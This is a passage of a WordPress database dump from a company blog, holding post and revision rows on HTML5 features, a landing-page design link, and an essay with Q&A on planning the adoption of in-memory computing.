the drag and drop feature. By using the draggable attribute one will be able to move the element from one place to another. To make the element draggable one has to set the draggable attribute to true and use JavaScript. By doing so, one can drag and drop the element.\r\n\r\n\r\n•    Contenteditable: Contenteditable is the new attribute introduced by html 5.Using the contenteditable attribute one can edit the page without any editor. It will enable the user to perform some basic actions such as cut, paste.\r\n\r\n•    Geolocation: Geolocation is another key feature. Using this feature along with location technologies such as GPS,IP address, RFID (Radio frequency ID), Wi-Fi , Bluetooth MAC address and GSM/CDMA cell IDs one can identify the location. This will help the websites to find the location information via browsers. It provides an interface with a function that will receive the longitude and latitude information to the website.\r\n\r\n\r\n•    Application cache: Application cache is another feature introduced by html 5. This feature helps you to browse offline, speedes up things and reduces the load on the server. When a website is being built, you can specify the web pages that you want to cache. As the pages are already cached it will help you browse offline. The pages will load much faster since they already cached. If the cached files are not updated then one does not require download them again. By doing so the load on the server is reduced\r\n\r\n•    Browsers compatibility: All the modern browsers (Firefox 3+, Safari 3+, Opera 9+, and Chrome 1+) support html 5 but we have to declare them as block-level elements in CSS. For In Internet Explorer 8 and below we need support from JavaScript.\r\n\r\n•    Downsides: The downsides of html 5 are that the spec is not ready is likely to change and not everything is supported by all browsers. One will require to download the browser that will support the technology. It has a very limited support for the media formats. It will take sometime before it’s completely evolved.','Features Introduced in HTML 5','','publish','open','open','','features-introduced-in-html-5','','','2014-07-21 12:51:38','2014-07-21 12:51:38','',0,'http://localhost/yalavarthitechnologies/blog/?p=237',0,'post','',0),(239,1,'2014-07-21 12:51:38','2014-07-21 12:51:38','<strong>Summary:</strong>\r\n\r\n<strong>Features Introduced in HTML 5</strong>\r\n\r\n•    Semantics: Html 5 has introduced new tags which help in adding semantic value to the page. The     new tags help in understanding the structure of the document. It helps you in recognizing the various parts of the html page such as the header, footer, section aside etc. at a glance. One doesn’t have to go hunting for the various sections of the page.\r\n\r\n•    Consistency: Html 5 aims at adding greater consistency. Web developers have to usually test the malformed documents in various browsers and accordingly sort out the errors. Html 5 is attempting to discover and codify error handling. As standardizing will help display pages consistently.\r\n\r\n\r\n•    Cleaner code: Introducing the semantic HTML 5 elements will greatly reduce the use of div tags, which will make the code look much cleaner and neater. This will also make it easier to understand.\r\n\r\n•    New tags: New tags introduced are for various purpose. Some of the new structural elements are aside, figure, and section. The new inline elements include time, meter, and progress. The new embedding tags are video and audio. New interactive elements include details, datagrid, and command. These new tags will specifically identify the constructs of the page.\r\n\r\n\r\n•    Doctype: The doctype used in html5 is &lt;!DOCTYPE HTML&gt;.\r\n\r\n\r\n•    Video: Video feature supported by html 5 is one of the features which is in limelight. It will help you embed the video with a fewer lines of code. The video element aims at being the standard feature of embedding the video. Previously one required many lines of code, now embedding of the video can be done with fewer number of lines. Support for this video element is still evolving.\r\n\r\n•    Audio: Similarly, audio element helps you to play audio files with just a few lines of code.\r\n\r\n•    Canvas: Canvas is another feature that seems to have gained a lot of attention. Canvas is used along JavaScript. Canvas comes very handy when you want to display graphics, animation, charts, reports etc.\r\n\r\n\r\n•    Drag and drop: Another feature that has come into limelight is the drag and drop feature. By using the draggable attribute one will be able to move the element from one place to another. To make the element draggable one has to set the draggable attribute to true and use JavaScript. By doing so, one can drag and drop the element.\r\n\r\n\r\n•    Contenteditable: Contenteditable is the new attribute introduced by html 5.Using the contenteditable attribute one can edit the page without any editor. It will enable the user to perform some basic actions such as cut, paste.\r\n\r\n•    Geolocation: Geolocation is another key feature. Using this feature along with location technologies such as GPS,IP address, RFID (Radio frequency ID), Wi-Fi , Bluetooth MAC address and GSM/CDMA cell IDs one can identify the location. This will help the websites to find the location information via browsers. It provides an interface with a function that will receive the longitude and latitude information to the website.\r\n\r\n\r\n•    Application cache: Application cache is another feature introduced by html 5. This feature helps you to browse offline, speedes up things and reduces the load on the server. When a website is being built, you can specify the web pages that you want to cache. As the pages are already cached it will help you browse offline. The pages will load much faster since they already cached. If the cached files are not updated then one does not require download them again. By doing so the load on the server is reduced\r\n\r\n•    Browsers compatibility: All the modern browsers (Firefox 3+, Safari 3+, Opera 9+, and Chrome 1+) support html 5 but we have to declare them as block-level elements in CSS. For In Internet Explorer 8 and below we need support from JavaScript.\r\n\r\n•    Downsides: The downsides of html 5 are that the spec is not ready is likely to change and not everything is supported by all browsers. One will require to download the browser that will support the technology. It has a very limited support for the media formats. It will take sometime before it’s completely evolved.','Features Introduced in HTML 5','','inherit','open','open','','237-revision-v1','','','2014-07-21 12:51:38','2014-07-21 12:51:38','',237,'http://localhost/yalavarthitechnologies/blog/?p=239',0,'revision','',0),(240,1,'2014-07-21 12:53:45','2014-07-21 12:53:45','<strong>Summary:</strong>\r\n\r\nI came across this very interesting website <a href=\"http://www.attentionwizard.com/aw/\">Attention Wizard</a>\r\n\r\nIt supposedly indicates where the eye of a website visitor would land and rove around once they visit the landing page of a web application.\r\n\r\nInteresting from a design and user experience perspective.','The evolving science for Landing Page Conversions','','publish','open','open','','the-evolving-science-for-landing-page-conversions','','','2014-07-21 12:53:45','2014-07-21 12:53:45','',0,'http://localhost/yalavarthitechnologies/blog/?p=240',0,'post','',0),(241,1,'2014-07-21 12:53:45','2014-07-21 12:53:45','<strong>Summary:</strong>\r\n\r\nI came across this very interesting website <a href=\"http://www.attentionwizard.com/aw/\">Attention Wizard</a>\r\n\r\nIt supposedly indicates where the eye of a website visitor would land and rove around once they visit the landing page of a web application.\r\n\r\nInteresting from a design and user experience perspective.','The evolving science for Landing Page Conversions','','inherit','open','open','','240-revision-v1','','','2014-07-21 12:53:45','2014-07-21 12:53:45','',240,'http://localhost/yalavarthitechnologies/blog/?p=241',0,'revision','',0),(242,1,'2014-07-22 09:53:10','2014-07-22 09:53:10','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1.jpg\"><img class=\"alignleft size-thumbnail wp-image-247\" alt=\"in-memory-action-plan_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan.jpg\"><img class=\"alignleft size-thumbnail wp-image-251\" alt=\"memory_action _plan\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','publish','open','open','','why-you-need-an-in-memory-action-plan-2','','','2014-07-23 13:31:27','2014-07-23 13:31:27','',0,'http://localhost/yalavarthitechnologies/blog/?p=242',0,'post','',0),(243,1,'2014-07-22 09:46:34','2014-07-22 09:46:34','','in-memory-action-plan_thumb','','inherit','open','open','','in-memory-action-plan_thumb','','','2014-07-22 09:46:34','2014-07-22 09:46:34','',242,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb.jpg',0,'attachment','image/jpeg',0),(244,1,'2014-07-22 09:53:10','2014-07-22 09:53:10','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n&nbsp;\r\n<p style=\"text-align: center;\"> <a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb.jpg\"><img class=\"size-thumbnail wp-image-243 aligncenter\" alt=\"in-memory-action-plan_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb-150x150.jpg\" width=\"667\" height=\"560\" /></a></p>\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-revision-v1','','','2014-07-22 09:53:10','2014-07-22 09:53:10','',242,'http://localhost/yalavarthitechnologies/blog/?p=244',0,'revision','',0),(247,1,'2014-07-22 10:31:59','2014-07-22 10:31:59','','in-memory-action-plan_thumb','','inherit','open','open','','in-memory-action-plan_thumb-2','','','2014-07-22 10:31:59','2014-07-22 10:31:59','',242,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1.jpg',0,'attachment','image/jpeg',0),(248,1,'2014-07-22 11:48:54','2014-07-22 11:48:54','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n&nbsp;\r\n<p style=\"text-align: center;\">You need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong></p>\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-revision-v1','','','2014-07-22 11:48:54','2014-07-22 11:48:54','',242,'http://localhost/yalavarthitechnologies/blog/?p=248',0,'revision','',0),(250,1,'2014-07-23 13:32:09','2014-07-23 13:32:09','<strong>Summary:</strong>\n<h3>Why you need an in-memory action plan</h3>\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1.jpg\"><img class=\"alignleft size-thumbnail wp-image-247\" alt=\"in-memory-action-plan_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1-150x150.jpg\" width=\"150\" height=\"150\" /></a>\n\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\n\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\n\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan.jpg\"><img class=\"alignleft size-thumbnail wp-image-251\" alt=\"memory_action _plan\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan-150x150.jpg\" width=\"150\" height=\"150\" /></a>\n\n&nbsp;\n\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will 